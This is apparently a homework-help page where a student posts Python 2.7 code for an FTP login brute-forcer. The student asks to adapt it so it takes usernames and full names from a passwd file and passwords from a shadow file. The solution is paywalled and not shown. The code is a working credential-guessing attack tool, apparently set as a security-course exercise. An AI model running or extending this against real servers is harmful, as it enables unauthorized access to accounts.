Question: Using the following code: import ftplib def bruteLogin(hostname, passwdFile): pF = open(passwdFile, 'r') for line in pF.readlines(): userName = line.split(':')[0] passWord = line.split(':')[1].strip(' ').strip(' ')

Using the following code:

import ftplib def bruteLogin(hostname, passwdFile):

pF = open(passwdFile, 'r') for line in pF.readlines():

userName = line.split(':')[0] passWord = line.split(':')[1].strip(' ').strip(' ') print "[+] Trying: "+userName+"/"+passWord try:

ftp = ftplib.FTP(hostname) ftp.login(userName, passWord) print ' [*] ' + str(hostname) +\ ' FTP Logon Succeeded: '+userName+"/"+passWord ftp.quit() return (userName, passWord)

except Exception, e: pass

print ' [-] Could not brute force FTP credentials.'

return (None, None) host = '192.168.95.179' passwdFile = 'userpass.txt' bruteLogin(host, passwdFile)

I want to make the following changes:

- Modify the bruteLogin function to use both the passwd and shadow files. Assume your passwd and shadow files include two accounts.

- Change the bruteLogin to extract the username and full name from the passwd file and the password from the shadow file

- Change the output to display the full name when confirming successful FTP Login; e.g., "Myhostname FTP Logon Succeeded: John Smith/ KJDKKkkLLjjwlnttqoiybnm"

I have had no luck so far getting this code and these changes to work in Python 2.7.

The user/pass txt file is: smithj:KJDKKkkLLjjwlnttqoiybnm.:10063:0:99999:7:::

Step by Step Solution

There are 3 Steps involved in it

1 Expert Approved Answer
Step: 1 Unlock blur-text-image
Question Has Been Solved by an Expert!

Get step-by-step solutions from verified subject matter experts

Step: 2 Unlock
Step: 3 Unlock

Students Have Also Explored These Related Databases Questions!